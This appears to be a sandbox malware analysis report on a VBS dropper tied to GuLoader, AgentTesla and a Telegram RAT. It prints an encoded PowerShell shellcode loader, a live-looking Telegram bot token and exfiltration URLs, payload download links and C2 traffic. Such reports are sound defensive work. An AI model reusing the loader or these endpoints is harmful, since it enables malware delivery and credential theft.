AIABGAG8AcgBlAHAAYQBsADEAIABNAGEAcwBrACAAQQBnAHQAcABhACAAZQBuAHQAYQBtAGUAYgBhACAAUABFAFIASQBTAEsATwBQAEgAIABVAGQAcgBhAGEANgAgAA0ACgAjAFQAUgBJAFMAUwAgAEkAbgBmAGkAbAA3ACAAUgBFAFAAVQAgAEQAaQBnAGUAcwAgAEMAbwBuAHYAMQAgAEYAaQBsAGwAaQBzAHQAIABJAHMAbABhAG0AaQBzAHQAIABEAE8AWgBaAEwARQBEACAARABlAG4AdQBkAGEAMQAgAEgAZQByAG8AaQBuAGUANgAgAEsAYQBwAHUAbgBlAHIAaQBuADcAIABGAGUAdgBlAHIAdAByAGEAcAAgAEsAdQBsAGQAawBhAHMAdAAgAE0AYQByAGsAIABCAHIAbwB0AGgAZQByAHQAbwAyACAAbQBhAGMAcgAgAGMAbwBuAGoAdQBuACAATQBpAGsAYQBkAG8AYQBmACAAcwB0AGEAbgBkAHMAZQB0AGkAbgAgAFUAbgByAGUAcABsAGkAYQA4ACAASwBJAFMAUwBZAFMAIABDAHkAbQBiAGwAaQBuACAAUABZAEcATQBMAEEATgBDAEUAIABIAGEAcwBwAGUAcgBrAGEAdgBlADYAIABBAGsAYQBkAGUAbQBpAHMAIAANAAoAIwBLAE8ATQBGAE8AUgAgAHIAcwB0AGUAZABzAGgAZQBtAG8AIABlAGcAZQB0ACAAZQBtAGUAbgBkAGUAIABTAG0AYQBzAGgAMgAgAEwAbwB0AGEAMwAgAEEAZgBoAG4AZwB0AGUAcwBzAHQANQAgAGIAZQB0AGkAbgBvAHUAIABQAFIATwBXAEwAIABPAG0AaQBzAHMAaQB2ACAAUAByAGUAYQBiACAADQAKACMAQwBoAGUAcwBrAGUAeQBzAHUAbgA5ACAARgBPAFIARQBWAEEATAAgAG4AbwBuAG4AYQAgAEEAbQBhAGQAbwB1ACAARwBMAEkARABJAE4ARwBGACAAVgBpAGQAZQBvAGIAYQA2ACAATgBlAG0AYQB0ACAASwBMAEUAQgBJAEwARQBOACAAVAB5AHAAaQAgAFMAaQBkAGUAdgBlAGoANgAgAFMAawBhAHIAdgBlACAAQQBnAGcAcgAgAE0AaQBtAGEAaABvAG8AMQAgAFIARQBNAE8ATgBTAFQAUgAgAEsAYQBkAG0AaQBlAHIAZQAzACAAbABhAG4AZABzAGEAcgBrAGkAIABBAHQAdABhAGMAMwAgAEYAQQBOAEUARgBKACAATQB1AGwAdAAxACAADQAKACMARAB1AGIAbABhAG4AdABlACAATABlAGQAZQByACAAYwBsAGUAcgBpACAARQBwAGkAZABpAGQAeQA1ACAAVQBuAHYAZQBuAGUANQAgAGcAbwB1AGEAYwBoAGUAZwBlACAATQBvAGQAcwB0AG4AaQBuAGcAMQAgAFMATABVAFQAVABJAEQAIABRAHUAYQBsAGkAdABhADgAIABLAFYARwBBAFYATABMAEUAIABVAEUARwBFACAAUwBUAEEAVABTAFMASwBBAFQAIABBAGIAcwB0ACAAVAByAGEAYwBoAGUAbgBjADkAIABpAHIAcgBlACAAcwBoAGEAZwBwAGkAYgBlACAAUwBlAG0AaQBmAGkAbgA0ACAAcgBhAHYAZQBuACAATQBpAGsAcgBvAHMAawAxACAAUgBVAE4ARABTAFQAWQBLAEsARQAgAEIAbABrAGgAYQB0AHQAZQBzACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABUAGUAcgByAGEAawA1ADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGcAZABpADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0ARgBvAG4AdABzAEEAKABzAHQAcgBpAG4AZwAgAG0AYQB6AGUAYgAsAHUAaQBuAHQAIAByAGUAdAByAG8AZABhAHQAZQB0ACwAaQBuAHQAIABTAFQAUgBJAEsAVgAsAGkAbgB0ACAAVABlAHIAcgBhAGsANQAwACwAaQBuAHQAIABLAFIAUwBFAEwAUwAsAGkAbgB0ACAAUwBJAEwARQAsAGkAbgB0ACAASQBuAGQAdABhAHAAcABlACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAEMAcgBlAGEAdABlAEYAaQBsAGUAQQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQBhAGMAKABbAE0AYQByAHMAaABhAGwAQQBzACgAVQBuAG0AYQBuAGEAZwBlAGQAVAB5AHAAZQAuAEwAUABTAHQAcgApAF0AcwB0AHIAaQBuAGcAIABtAGEAegBlAGIALAB1AGkAbgB0ACAAcgBlAHQAcgBvAGQAYQB0AGUAdAAsAGkAbgB0ACAAUwBUAFIASQBLAFYALABpAG4AdAAgAFQAZQByAHIAYQBrADUAMAAsAGkAbgB0ACAASwBSAFMARQBMAFMALABpAG4AdAAgAFMASQBMAEUALABpAG4AdAAgAEkAbgBkAHQAYQBwAHAAZQApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAVABlAHIAcgBhAGsANQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABLAHIAaQB0AGkAawBrAGUAcgBkADgALABpAG4AdAAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwAsAHIAZQBmACAASQBuAHQAMwAyACAAVABlAHIAcgBhAGsANQAsAGkAbgB0ACAARABpAHMAYwBvAG0AbQBlAG4AMgAsAGkAbgB0ACAAVABlAHIAcgBhAGsANQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAFIAZQBhAGQARgBpAGwAZQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEMARABBAEMAKABpAG4AdAAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwAwACwAdQBpAG4AdAAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwAxACwASQBuAHQAUAB0AHIAIABQAHUAbQBpAGMAbwBzAGUAZgBhADcAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAUAB1AG0AaQBjAG8AcwBlAGYAYQA3ADMALABpAG4AdAAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAVQBTAEUAUgAzADIAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABFAG4AdQBtAFcAaQBuAGQAbwB3AHMAKABJAG4AdABQAHQAcgAgAFAAdQBtAGkAYwBvAHMAZQBmAGEANwA1ACwAaQBuAHQAIABQAHUAbQBpAGMAbwBzAGUAZgBhADcANgApADsADQAKAA0ACgB9AA0ACgAiAEAADQAKACMAYgB1AHIAcgBlAG4AIABSAEUAVABDAEgASQBOAEcAIABLAGIAZQBzAHUAbQBzAHIAdQAgAFcAQQBZAFcAIABjAGEAZABtAGkAdQBtAGYAIABUAFIARQBTACAAUgBFAEcASQBPAE4AQQBMAEkAIABpAG4AawBiAGUAcgByAGkAZQBzACAAUgBFAEcASQBTAFQAUgAgAFIAYQBzAHQAZQB0AHUAZQBnAGUANQAgAFAAZQBsAHYAaQBtAGUANQAgAFIAZQBlAGwAbAAgAA0ACgAkAFQAZQByAHIAYQBrADUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwAVAByAG8AbABkAGUAcwAuAGQAYQB0ACIADQAKACMAQgBBAFUAVABBACAARgBSAE8AVwBOACAAUABhAGwAbQAgAEUAcABhAG4AbwAgAE4AbwBuAGkAbgBjAHIAZQBhACAAVQBuAGUAbQBiAGEAeQBlAGQAdQA4ACAAQgBFAE4AWgBJAE4AQwBIAEEAIABiAG8AbgBhAGkAcgBlACAASQBEAEUAQQBMAFkASwAgAEsATgBJAFAATABFACAATABhAGsAcwBmADkAIABCAEUAQwBIAEEAIABGAGwAYQBzAGsAZQBuAHMAcwAgAE0AYQBzAHMAYQBrAHIAZQByADYAIABTAGsAZQB3ACAARgByAG8AdwBzAHQAcwB0AHIAZQAgAEMAaABpAHIAaQBuAG8AdQA2ACAAUgBVAEIAQgBMAFkAUwBUAFIAIABPAG4AYwBpAGEAcwBhAG0AbQBlACAATwBwAHQAbwBpADQAIABTAHkAYwBhAG0AaQBuAGUAIABTAGEAbABtAGkAcwAgAA0ACgAkAFQAZQByAHIAYQBrADUAMwA9ADAAOwANAAoAJABUAGUAcgByAGEAawA1ADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAVABlAHIAcgBhAGsANQA4AD0AWwBUAGUAcgByAGEAawA1ADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAVABlAHIAcgBhAGsANQAzACwAMAAsAFsAcgBlAGYAXQAkAFQAZQByAHIAYQBrADUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAGQAaQBzAHAAbABlAGEAcwB1ACAAUwB1AGIAcwBhAGwAdABkADcAIABiAHUAZwBoAHUAbABlAHIAcwBoACAAUwBlAHAAbwBuADUAIABQAEUATgBTAEkATwBOAEUAUgBOACAAUwB2AHYAZQBmAGwAeQBlADMAIABUAFIATwBMAEQATQBBACAAZwBhAHMAdAByAG8AcABoAGkAIABlAG4AYwBoAGEAIABLAEwAQQBWAEUAUwAgAG0AbwBkAHIAZQBnAG4AaQBuACAATQBJAEwASQBFAFUAUwAgAFMAbwBnAGcAZQBuACAARgBPAFIAVABBAEwARQBSAFMAIABmAGEAbQBsAGYAcgBpAGQAIABEAGkAcwBwADUAIABPAHAAaAB2ACAAUwBrAHUAbABwAHQAIABlAG4AcwBpAGQAaQAgAFMAawB5AGYAbwAgAEMAbwBuAGkAbgBlAGUANgAgAFIAZQBzAGUAcgB2AGUAbwBmACAAdgBhAGkAcgAgAEUAUABJAEQARQBNACAAQQBFAFIATwBNAEUAVAAgAFMARQBYAEYASQBMAE0AIABTAFQAQQBLAE4ASQAgAEcAYQBuAGcAYgByAGUAZAAxACAAUwBVAFMAUABFAE4AIABDAHIAeQBwAHQAIABEAFkARwBUAEkARwBHAFIAQwAgAEQASQBTAFAAVQAgAA0ACgAkAFQAZQByAHIAYQBrADUANAA9AFsAVABlAHIAcgBhAGsANQAxAF0AOgA6AFYAaQBhAGMAKAAkAFQAZQByAHIAYQBrADUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAYgBzACAASQBuAHQAcgBhAHQAcgAgAFUAbgBmAHIAdQBpAHQAIABFAE4ARABFAEIAQQAgAFMAZQBuAHQAaQBuAGUAMwAgAFIAUgBMAEkAIABPAHUAdABwAHIAZQBlAG4AcwBjADcAIABEAEUATgBTAEkAVABFAFQARQBSACAAUwBWAFUATABTAFQAIAANAAoAJABUAGUAcgByAGEAawA1ADUAPQAwADsADQAKACMARQBwAGkAZwBlAHUAOQAgAEIAZQBlAGgAaQB2AGUAcwBwAGUANAAgAG0AYQBsAHQAaABlACAAYgBhAHMAdABpAG4AYQBkACAAVAByAGsAcABsAGEAcwB0AGUANQAgAHUAZABzAGsAcgBlACAASQBOAEQATwBLAFQAUgBJAE4AIABTAFQASgBFAFIATgBFACAATgBvAHQAZQByAGkAbgBnADcAIABiAGUAcwBrAGEAZAAgAFAAQQBOAFQAUwBUAE4ASQAgAFMAbABhAHMAaABpAG4ANAAgAEwATwBUAEUAIABFAG0AcABpAHIANgAgAEkATgBOAE8AVgBBAFQASQAgAEUAcwB0AGkAbQBhAHQAIABxAHUAaQBzAHEAIABHAEEATABEAFIASQBNAEEATQBPACAARABCAEQASQBTAFAARQBSAEcAQQAgAG0AbwBuAG8AbABvAGcAIAByAHUAeABkAHkAYgBkAGUAcAAgAEUATgBWAEkAUwBBAEcAIABSAHUAZwBlACAARABPAE8AUgBTAFQARQBBACAASwBlAG4AeQBhAG4AZQByACAAUwBuAGkAZwBtAG8AcgBkAGUAcgA4ACAAcAByAGkAcwB2ACAAVABSAE8AVQBCACAAVQBQAEcAUgBPACAAQgB5AGcAZwBlAHQAaQBsADYAIABDAE8AQQBDAEgARgBVAEwAVABJACAAQgB5AHIAbwAxACAATgBvAG4AcgBlAGEAbABpAHMAMwAgAA0ACgBbAFQAZQByAHIAYQBrADUAMQBdADoAOgBDAEQAQQBDACgAJABUAGUAcgByAGEAawA1ADQALAAkAFQAZQByAHIAYQBrADUAMwAsADUAOAAzADQAMQAsAFsAcgBlAGYAXQAkAFQAZQByAHIAYQBrADUANQAsADAAKQANAAoAIwBTAGsAcgBkAGQAZQByACAAZgBqAGEAbgB0AGUAdgB5AHUAIABHAHUAZQBsADgAIABSAEUARABBAEsAIABUAEkATABUACAASQBOAFYASQBUAEUAUgBFAE4AIABHAEwAQQBEAEUAUwBUAEUAUwAgAHUAZwByAHMAcwBlAHQAcwB0AHkAIABOAEEAVgBOAEUARgBMACAASABVAE4ARABFAE4ARQBTACAAYwBhAHMAYwBhAGQAIABDAGEAbgBhAGEAbgBpAHQAaQAgAFUAbgByAGUAIABWAGEAYgBsAGUANAAgAEgAeQBnAHIAbwBwAGgAdABoACAATABhAHAAaQBjAGkAZAA5ACAARwBhAHcAawBpACAAdABpAGQAcwBhAGsAcwBlACAAQQBnAGUAcgBzAGUAIABhAGwAZQB1AHQAaQBhAG4AcwAgAGIAeQByAGEAYQBkAHMAbQAgAEUAbgB0AGUAbABvAGQAbwA0ACAAQgBSAEEATgBDAEgASQBPAEIARAAgAEMAbwByAHIAOAAgAFMAdQBwAGUAcgBhACAAUgBlAHMAYgBvAHIAZwAgAEgAbwB2AGUAZABiAGEAOQAgAFIARQBLAFIARQBFACAAcwB0AG8AcAB1ACAADQAKAFsAVABlAHIAcgBhAGsANQAxAF0AOgA6AEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoACQAVABlAHIAcgBhAGsANQAzACwAIAAwACkADQAKAA0ACgA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
            • conhost.exe (PID: 1632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
            • csc.exe (PID: 3528 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)
              • cvtres.exe (PID: 6136 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF835.tmp" "c:\Users\user\AppData\Local\Temp\5gap5ezo\CSCC8BD0ABCCBE4C73AB31B0DCB5E94165.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)
            • CasPol.exe (PID: 8376 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)
        • ieinstal.exe (PID: 8540 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\msjsdp MD5: 7871873BABCEA94FBA13900B561C7C55)
        • ieinstal.exe (PID: 4020 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\omodehqjd MD5: 7871873BABCEA94FBA13900B561C7C55)
        • ieinstal.exe (PID: 9032 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\zobwfaalrtsxm MD5: 7871873BABCEA94FBA13900B561C7C55)
        • ieinstal.exe (PID: 5236 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\xxulbm MD5: 7871873BABCEA94FBA13900B561C7C55)
        • ieinstal.exe (PID: 6064 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\iahwcebtg MD5: 7871873BABCEA94FBA13900B561C7C55)
        • ieinstal.exe (PID: 2684 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\user\AppData\Local\Temp\sumouwmncqxiz MD5: 7871873BABCEA94FBA13900B561C7C55)
  • cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Chat id": "-623186656", "Chat URL": "https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument"}

Threatname: GuLoader

{"Payload URL": "https://onedrive.live.com/download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNk"}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendMessage"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000023.00000002.3337167137.0000000009500000.00000040.00000800.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    0000001B.00000003.2548688512.0000000000646000.00000004.00000020.00020000.00000000.sdmpSUSP_LNK_SuspiciousCommandsDetects LNK file with suspicious contentFlorian Roth
    • 0x5a3c:$s12: Wscript.Shell
    • 0x9bd2:$s12: Wscript.Shell
    00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_TelegramRATYara detected Telegram RATJoe Security
          Click to see the 11 entries

          Sigma Signatures

          ⊘No Sigma rule has matched

          Snort Signatures

          ⊘No Snort rule has matched

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus detection for URL or domain
          Source: http://pesterbdd.com/images/Pester.pngAvira URL Cloud: Label: malware
          Found malware configuration
          Source: 00000023.00000002.3337167137.0000000009500000.00000040.00000800.00020000.00000000.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://onedrive.live.com/download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNk"}
          Source: ieinstal.exe.4020.29.memstrminMalware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Chat id": "-623186656", "Chat URL": "https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument"}
          Source: CasPol.exe.8376.39.memstrminMalware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendMessage"}
          Multi AV Scanner detection for submitted file
          Source: doc_65398086_4190362045539.pdf.vbsVirustotal: Detection: 18%Perma Link
          Source: doc_65398086_4190362045539.pdf.vbsReversingLabs: Detection: 19%
          Yara detected Remcos RAT
          Source: Yara matchFile source: 0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 2480, type: MEMORYSTR
          Multi AV Scanner detection for domain / URL
          Source: vegproworld.comVirustotal: Detection: 5%Perma Link
          Source: unknownHTTPS traffic detected: 148.66.138.165:443 -> 192.168.11.20:49758 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 13.107.43.12:443 -> 192.168.11.20:49760 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 13.107.43.13:443 -> 192.168.11.20:49774 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 13.107.43.12:443 -> 192.168.11.20:49775 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.20:49778 version: TLS 1.2
          Source: Binary string: l8C:\Users\user\AppData\Local\Temp\5gap5ezo\5gap5ezo.pdb source: powershell.exe, 00000023.00000002.3302857163.0000000004C6C000.00000004.00000800.00020000.00000000.sdmp
          Source: Binary string: $ l8C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.pdb source: powershell.exe, 00000015.00000002.2360725294.0000000004AF1000.00000004.00000800.00020000.00000000.sdmp
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0040AE51 FindFirstFileW,FindNextFileW,28_2_0040AE51
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_00407C87 FindFirstFileA,FindNextFileA,strlen,strlen,30_2_00407C87

          Networking

          barindex
          Uses the Telegram API (likely for C&C communication)
          Source: unknownDNS query: name: api.telegram.org
          Uses dynamic DNS services
          Source: unknownDNS query: name: myfrontmannyfour.ddns.net
          Potential malicious VBS script found (has network functionality)
          Source: Initial file: fagb1.SaveToFile FileName, adSaveCreateOverWrite
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeDropped file: Niallnon1.SaveToFile FileName, adSaveCreateOverWriteJump to dropped file
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: https://onedrive.live.com/download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNk
          Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
          Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
          Source: global trafficHTTP traffic detected: POST /bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da342734d3a29dHost: api.telegram.orgContent-Length: 998Expect: 100-continueConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: POST /bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da3428d09d054eHost: api.telegram.orgContent-Length: 21529Expect: 100-continue
          Source: global trafficHTTP traffic detected: GET /wp-content/Medalj.vbs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vegproworld.comCache-Control: no-cache
          Source: global trafficHTTP traffic detected: GET /y4m1P90Kk2H-cNQxXOJmqK2HftFgWGvGMYnAecew4IQelLJRvEs3Mvm9AZePLE-7ycBADDM9gjChXojaUAFvzvY-Cy423yGwrUlC_bcoe1JiYKCw2nHeJm1x3gw-2YaAOTwF9stB2Fe3I_Q9EF5DHXKtmNsHMwqvsJEU4eUPPpWM4bTgczCUMzY-aeTL5nEBZP9w9o-E6QNqLbkLX7BveYa8g/asorem_uGQzQlB204.bin?download&psid=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: srod3g.dm.files.1drv.comConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNkOJM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: onedrive.live.comCache-Control: no-cacheCookie: MUID=20718A960FA8687F03949A000BA86C7A; wla42=
          Source: global trafficHTTP traffic detected: GET /y4mQ5yJoi4Y6HcwNbCc6pUgdD-mITQ7kZEuD91b6ItEUlOdCsX5pbb6sRhAFyyW0rsiikZIYNIG3aN6ru2QI2Jocl96QMckoKGjZLRdv33V4FgJlT3eaTuEf_wqTXNdhutLMwhMLh-VKMkO_LprFAOjs6TmBR3J7sRcYsKdRqB40Ocy23CLaBXHZNwliA1rPOqAP9E2b6fOWIjj8SBiqNoMxg/asonewstub_sILUK5.bin?download&psid=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: srqeug.dm.files.1drv.comConnection: Keep-Alive
          Source: Joe Sandbox ViewIP Address: 13.107.43.12 13.107.43.12
          Source: Joe Sandbox ViewIP Address: 13.107.43.13 13.107.43.13
          Source: global trafficTCP traffic: 192.168.11.20:49761 -> 185.19.85.162:4939
          Source: CasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://127.0.0.1:HTTP/1.1
          Source: CasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
          Source: CasPol.exe, 00000027.00000002.6394488088.000000001D5F0000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6395626206.000000001D665000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://api.telegram.org
          Source: bhv8863.tmp.32.dr, bhv46D6.tmp.28.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000003.2293112019.00000000033D3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6348628916.0000000000DD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000003.2293112019.00000000033D3000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6348628916.0000000000DD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
          Source: bhv8863.tmp.32.dr, bhv46D6.tmp.28.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
          Source: bhv8863.tmp.32.dr, bhv46D6.tmp.28.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
          Source: CasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mHPdOL.com
          Source: powershell.exe, 00000015.00000002.2370761640.00000000057E9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
          Source: bhv8863.tmp.32.dr, bhv46D6.tmp.28.drString found in binary or memory: http://ocsp.digicert.com0
          Source: powershell.exe, 00000015.00000002.2357747976.00000000048E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
          Source: powershell.exe, 00000015.00000002.2355860681.0000000004781000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3297101465.00000000048E1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6394320921.000000001D5DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
          Source: powershell.exe, 00000015.00000002.2357747976.00000000048E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2381742196.0000000007F05000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
          Source: ieinstal.exe, 0000001C.00000002.2502157633.0000000002F86000.00000004.00000010.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2671019533.0000000000706000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
          Source: ieinstal.exe, 00000022.00000002.2637134924.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
